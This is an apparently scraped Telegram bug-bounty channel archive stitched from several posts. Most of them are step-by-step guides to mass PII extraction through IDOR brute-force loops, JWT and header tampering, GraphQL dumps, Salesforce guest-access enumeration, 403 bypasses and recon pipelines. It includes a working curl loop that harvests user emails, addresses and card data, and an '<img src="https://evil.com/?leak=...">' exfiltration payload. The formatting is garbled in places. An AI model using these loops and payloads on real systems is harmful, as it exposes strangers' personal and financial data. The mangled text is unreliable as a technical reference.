Bug Bounty - GitBook
前往频道在 Telegram
7 436
订阅者
-124 小时
+27 天
+16630 天
帖子存档
7 436
🛠️ Mass PII Exposure Exploitation Guide (Advanced)
A step-by-step blueprint to find mass PII leaks in companies (and why 95% of hackers MISS them).
Ready? Let’s go — 🧵
⸻
#2
🔥 Step 1: Identify Target Endpoints
Look for sensitive routes:
•/account
•/checkout
•/billing
•/payment
•/orders
•/api/user
•/api/profile
•/customer/*
✅ Tools:
waybackurls http://target.com | grep -Ei '(account|checkout|billing|payment|orders|invoice|api/user|api/profile|customer)'
gau http://target.com | grep -Ei '(account|checkout|billing|payment|orders|invoice|api/user|api/profile|customer)'
⸻
#3
🔥 Step 2: Check for Unauthenticated Access
Before login, test:
curl -i https://target.com/account
curl -i https://target.com/api/user
Look for:
•200 OK (bad ➔ data leaks)
•403/401 (expected)
👉 If 200 OK + data ➔ Vulnerable
⸻
#4
🔥 Step 3: Bruteforce User IDs (IDOR)
If API like /api/user/{user_id} exists:
✅ Bruteforce:
for id in $(seq 1 1000); do
curl -s "https://target.com/api/user/$id" | grep -iE "(email|address|phone|card)"
done
If no auth needed ➔ Jackpot 💥
⸻
#5
🔥 Step 4: Header Manipulation
APIs like /api/user/me often trust headers.
✅ Example:
curl -H "X-User-ID: 2" https://target.com/api/user/me
Or tamper JWT tokens manually (IDOR via token switching).
⸻
#6
🔥 Step 5: Parameter Pollution Attack
If app accepts multi-user_id parameters:
https://target.com/checkout?user_id=2&user_id=1
✅ Try injecting another user_id.
Sometimes backend uses first, sometimes last parameter — causing auth bypass!
⸻
#7
🔥 Step 6: Exploit GraphQL Endpoints (Optional)
If target uses GraphQL:
✅ Query sensitive fields:
{
user(id: 1){
name
email
address
phone
creditCard
}
}
If no auth required ➔ Total PII dump.
⸻
#8
🔥 Step 7: Chain with Public Sensitive Files
After leaking emails:
✅ Search public uploads:
waybackurls http://target.com | grep -Ei '\.(pdf|doc|docx|csv|xls)'
Often invoices, receipts, user exports are exposed without auth.
Goldmine.
⸻
#9
🏴☠️ Final Checklist Before Reporting
✅ Did you access someone else’s data?
✅ Was authentication missing?
✅ Can you enumerate users easily?
✅ Can you download invoices/receipts?
If yes ➔ HIGH impact vulnerability.
⸻
#10
📢 How to Write the Exploit PoC
Title:
Mass PII Exposure via Unauthenticated API
Summary:
/api/user/{user_id} returns full PII without auth.
Steps:
1.Visit https://target.com/api/user/1
2.Receive:
{
"name": "John Doe",
"email": "john@example.com",
"address": "123 Main St",
"card_last4": "4242"
}
3.Increment user_id to leak 1000s of users.
⸻
#11
⚡ Impact:
•GDPR Violation
•PCI-DSS Violation
•$20M+ Fines
•Class-action lawsuits
•Permanent brand damage
⸻
#12
👀 Want the FULL private PDF version of this guide?
(with bonus tricks: Shodan dorks, JWT tampering, cache poisoning, API fuzzing…)
📩 DM me ‘PDF’ on Instagram!
📸 IG:
@TheMsterDoctor1
🧠 Let’s level up together.
7 436
@TheMsterDoctor1
Advanced Salesforce Help Desk Misconfiguration Hunting Guide
1. Subdomain & Asset Discovery
Use passive and active enumeration to discover potential Salesforce-based help desk instances:
# Passive discovery
amass enum -d http://target.com
assetfinder --subs-only http://target.com
gau http://target.com | grep -Ei 'salesforce|force\.com'
# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | grep -Ei 'salesforce|helpdesk'
Target patterns:
*.lightning.force.com
*.my.salesforce.com
http://support.target.com
http://helpdesk.target.com
2. URL & Endpoint Mapping
Map common Salesforce community and help desk paths. Focus on:
Case detail pages
Guest user views
Password reset tokens
File attachments
Known endpoints:
/500/o (Case object)
/apex/CaseDetail
/apex/CaseAttachment
/s/case/* (Experience Cloud)
/sfsites/c/* (Community portals)
Scan with:
ffuf -u https://target.lightning.force.com/FUZZ -w common-salesforce.txt
3. Guest Access Exploitation
Salesforce sometimes allows guest profiles to access objects (like Cases or Attachments) due to poor ACL (Access Control List) configurations.
Submit a ticket as guest.
Get the ticket ID from the response (500xxxxxxxxxxxx).
Attempt direct access:
https://[subdomain].my.salesforce.com/500xxxxxxxxxxxx
Change the ID incrementally or use predictable patterns to attempt IDOR:
for i in {100..110}; do curl -s "https://[target]/5005x0000ABC00$i"; done
Check response for:
Full name
Email
Internal staff comments
Attached files
Internal object relationships
4. Privilege Escalation via Metadata Exposure
Accessing certain endpoints as a guest or low-privilege user may reveal:
Apex controller logic
Misconfigured VF pages (/apex/PageName)
Metadata API leaks
Workflow logic that could be abused
Use this endpoint to gather metadata:
GET /services/data/vXX.X/sobjects
Authorization: Bearer <token>
Also, inspect /sfsites/aura for:
Component definitions
Undocumented Apex methods
Open object bindings
5. Account Takeover (ATO) Vectors
Explore these scenarios:
Token-based password reset:
URL: https://[domain]/secur/forgotpassword.jsp
Manipulate the un or username parameter
Check if token is leaked via response or timing attacks
Auth bypass with session cookies:
Replay authenticated sessions across subdomains.
Test for SameSite=None misconfigurations.
Login CSRF or Oauth misconfig:
Abuse Salesforce's social login or connected apps.
Test for redirect_uri misvalidation.
6. Attachments & PII Leaks
When accessing case records, Salesforce may expose:
PDF/CSV attachments
Uploaded images
Internal documentation
Try this pattern:
https://[target].my.salesforce.com/sfc/servlet.shepherd/document/download/<docID>
If open, these endpoints may allow full PII leaks.
7. Automation and Detection
Use Burp Suite with custom intruder payloads for IDOR brute-forcing.
Monitor JavaScript files (especially from /resource) for hardcoded API endpoints.
Implement JS analysis:
http://linkfinder.py -i https://[target]/resource/salesforce.js -o cli
Bonus: Tools & Payloads
SalesforceScraper – automates object enumeration (private scripts often used in red teaming).
Burp BApp: Salesforce Lightning Analyzer – parses component calls and VF pages.
Payload for token leakage testing:
<img src="https://evil.com/?leak=${!Case.ContactEmail}" />
7 436
Here’s the Ultimate Advanced Recon Methodology (2025) designed to maximize critical findings and $100k+ bounty payouts.
This combines automation, deep OSINT, misconfig scanning, live data harvesting, and endpoint fuzzing across massive orgs.
[0] Preparation: Scope & Strat
•Pull All Programs from HackerOne, Bugcrowd, Synack, Intigriti, YesWeHack.
•Prioritize Targets:
•High-traffic SaaS, banks, gov, insurance, medical, e-commerce.
•Public programs with poor reports / no kudos payout history = GOLD.
•Use these tools across all your recon:
•gau, waybackurls, subfinder, amass, httpx, ffuf, nuclei, xnLinkFinder, hakrawler, ParamSpider, Interlace.
⸻
[1] Subdomain & ASN Recon
subfinder -d http://target.com -all -silent > all-subs.txt
amass enum -d http://target.com -active >> all-subs.txt
findomain -t http://target.com >> all-subs.txt
sort -u all-subs.txt > domains.txt
Expand scope via:
•ASN ranges: http://bgp.he.net, whois, http://ipinfo.io/org
•GitHub scraping:
http://github-subdomains.py -d http://target.com -t GITHUB_TOKEN
[2] Historical File Mining
cat domains.txt | waybackurls | grep -Ei '\.(zip|sql|csv|env|conf|json|yml|xls|xlsx|log|bak|gz)' > wayback-files.txt
cat domains.txt | gau | grep -Ei '\.(zip|sql|env|conf|...)' > gau-files.txt
sort -u wayback-files.txt gau-files.txt > sensitive.txt
Then validate:
cat sensitive.txt | httpx -mc 200,403 -silent > live-sensitive.txt
Target: backups, DBs, logs, staging files, exports, misconfigs.
⸻
[3] Hidden API Discovery + Swagger Exploits
gau http://target.com | grep -i swagger > swagger.txt
nuclei -l swagger.txt -t exposed-panels/swagger-api.yaml
Then:
•Use ffuf/dirsearch to brute /api/, /internal/, /v1/, /debug/
•Pass jwt, api_key, or nothing to test auth bypass.
⸻
[4] JS & Param Spidering for Logic Bugs
subjs -i domains.txt > jsfiles.txt
cat jsfiles.txt | while read url; do curl -s "$url" | grep -Eo '\/[a-zA-Z0-9_\/\-]+\.php|\.js|\.json|\.do'; done > endpoints.txt
xnLinkFinder -i jsfiles.txt -o found.txt
Then hunt:
ffuf -w wordlists/params.txt -u 'https://target.com/page.php?FUZZ=test' -mc 200
Findings: IDOR, auth bypass, unvalidated redirects, PII dumps.
⸻
[5] Open Cloud Asset & DB Dump Recon
shodan search 'product:"MongoDB" org:"Target Inc"'
zoomeye search 'app:"ElasticSearch" domain:"http://target.com"'
http://binaryedge.io scan domains
Also:
python3 cloud_enum.py -k target
aws s3 ls s3://target-public/ --no-sign-request
Target: DBs with email/phone/password, backup buckets, internal snapshots.
⸻
[6] Fuzzing Deeply on API & Legacy Subdomains
ffuf -u https://api.target.com/FUZZ -w api-wordlist.txt -mc 200,403
ffuf -u https://staging.target.com/FUZZ -w raft-large-directories.txt -x ".zip" -t 80
Try:
•/leads/, /export/, /private/, /users.json, /download?file=
•Suffixes: .old, .bak, .1, .2021, .swp, .zip
⸻
[7] Nuclei + Custom Templates
nuclei -l live-sensitive.txt -t cves/,exposures/,misc/ -severity high,critical -o findings.txt
Create your own templates for:
•Open zip file leaks
•Exposed .git, .env, .DS_Store, .idea/
•Swagger files exposing full schemas
⸻
[8] Mass Auto Screenshot + Index Check
gowitness file -f live-sensitive.txt --threads 50
Also:
katana -list domains.txt -jc -d 10 -silent -o spidered.txt
Look for: dashboard leaks, dev interfaces, localhost exposures.
⸻
[9] Bonus Tools & Automation
•Interlace — run tools per host in parallel
•reconFTW — full recon pipeline
•ProjectDiscovery's uncovered tools — dnsx, mapcidr, uncover
⸻
[10] Focus on What Pays: High Impact Vulns
Target:
•Full unauth access to sensitive data
•Credential leakage in backup or zip files
•Misconfigured Swagger APIs & dev environments
•Leaky DBs (Mongo, Redis, Elasticsearch)
•IDOR and logic flaws in new endpoints
⸻
Final Advice:
Keep a target vault: ongoing recon files for every scope.
Check program changelogs for new in-scope assets.
Monitor GitHub, uploads, buckets,
7 436
# Bypass 403 (Forbidden)
1. Using "X-Original-URL" header
GET /admin HTTP/1.1 Host: http://target.comTry this to bypass
GET /anything HTTP/1.1 Host: http://target.com X-Original-URL: /admin2. Appending %2e after the first slash
http://target.com/admin => 403Try this to bypass
http://target.com/%2e/admin => 2003. Try add dot (.) slash (/) and semicolon (;) in the URL
http://target.com/admin => 403Try this to bypass
http://target.com/secret/. => 200 http://target.com//secret// => 200 http://target.com/./secret/.. => 200 http://target.com/;/secret => 200 http://target.com/.;/secret => 200 http://target.com//;//secret => 2004. Add "..;/" after the directory name
http://target.com/adminTry this to bypass
http://target.com/admin..;/5. Try to uppercase the alphabet in the url
http://target.com/adminTry this to bypass
http://target.com/aDmIN6. Via Web Cache Poisoning
GET /anything HTTP/1.1 Host: http://victim.com X-Original-URL: /admin
7 436
🔥 ADVANCED BUG BOUNTY RECON PLAYBOOK (2025) — FULL THREAD
Most hackers only touch the surface.
The real $$$ is in DEEP RECON.
Here’s my ULTIMATE RECON PIPELINE for catching bugs everyone else misses (bookmark this):
⸻
1️⃣ SCOPE REVIEW 🌍
Know your boundaries → authorized assets only.
Scope: *.target.com
This will save you from wasting time and avoid legal issues.
⸻
2️⃣ SUBDOMAIN ENUMERATION 🧹
Tools: bbot, subfinder, amass
bbot -d http://target.com
subfinder -d http://target.com -o subfinder.txt
amass enum -d http://target.com -o amass.txt
cat *.txt | sort -u > subdomains.txt
Combo hits hard → passive + active = MAX coverage.
⸻
3️⃣ ALIVE CHECK ⚡
Tools: httpx
cat subdomains.txt | httpx -silent -o alive.txt
Focus only on live hosts = speed & efficiency.
⸻
4️⃣ CRAWL ALIVE DOMAINS 🕷️
Tools: katana
katana -list alive.txt -o endpoints.txt
Find hidden paths + endpoints = more attack surface.
⸻
5️⃣ SCREENSHOT EVERYTHING 📸
Tools: eyewitness
eyewitness --web -f alive.txt --threads 10 -d screenshots
Quickly spot interesting or juicy targets visually.
⸻
6️⃣ AUTOMATED VULN SCAN (N-QUBE) 🚨
Tools: nuclei, nmap, nikto
cat alive.txt | nuclei -t templates/ -o nuclei.txt
nmap -sVC -T4 -iL alive.txt -oN nmap.txt
nikto -h alive.txt -output nikto.txt
Automated checks for known bugs + services = fast wins.
⸻
7️⃣ TECH STACK FINGERPRINTING 🔬
Tools: wappalyzer, builtwith, whatruns
Identify frameworks, CMS, CDN, and libraries → for targeted exploits.
⸻
8️⃣ FINDING LOW-HANGING FRUITS 🍯
Tools: subzy, socialhunter
subzy run --targets alive.txt
socialhunter -f alive.txt
Subdomain takeover + Broken Link Hijacking → very critical.
⸻
9️⃣ URL GATHERING + PARAM DISCOVERY 🌐
Tools: waybackurls, gau, paramspider
cat alive.txt | waybackurls | tee -a urls.txt
cat alive.txt | gau | tee -a urls.txt
paramspider -d http://target.com -o params.txt
Old, forgotten URLs are gold → often unpatched.
⸻
10️⃣ GOOGLE DORKING 🧙
site:http://target.com ext:sql
site:http://target.com ext:bak
site:http://target.com inurl:admin
Hidden files, configs, backups → easy targets.
⸻
11️⃣ GITHUB RECON 🗂️
"http://target.com" in GitHub
Exposed API keys, passwords, configs → all common in dev mistakes.
⸻
BONUS → XSS / LFI / SQLi PARAMETER HUNT 🎯
Tools: gf, qsreplace, curl
gf xss urls.txt | qsreplace '"><script>alert(1)</script>' | httpx -silent
Test params → MASSIVE results in bug bounty.
⸻
If you run this end-to-end → you’re ahead of 90% of hunters.
Recon + Automation + Low hanging fruit = $$$.
⸻
RT & Follow @TheMasterDoctor1 for more ADVANCED hacking blueprints.
Will drop Part 2 (Private Recon OSINT + Stealth Recon) if this hits 500 ❤️
7 436
کسی تا به حال دوره منتورینگ وب رو شرکت کرده، مثلا دوره منتورینگ بیسیک برنا، سوال دارم
7 436
از بس برا تبادل پیوی رفتم ۲ تا اکانت تلگرام بن شدن
درست بشن باز ی حمله دیگه میزنم
حیف نصف کانالها اومدن تبادل
7 436
🔹 کانال هکتیویست - دنیای فناوری در دستان شما! 🔹
💻 همه چیز درباره کامپیوتر، شبکه، امنیت و هوش مصنوعی!
🚀 جدیدترین اخبار، آموزشها و نکات کاربردی
🛡️ راهکارهای امنیتی برای حفاظت از اطلاعات شما
🤖 آشنایی با دنیای جذاب هوش مصنوعی
🎯 اگر عاشق دنیای فناوری هستید، این کانال مخصوص شماست!
📲 همین حالا عضو شوید و همیشه یک قدم جلوتر باشید!
https://t.me/Hacktivist0101
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
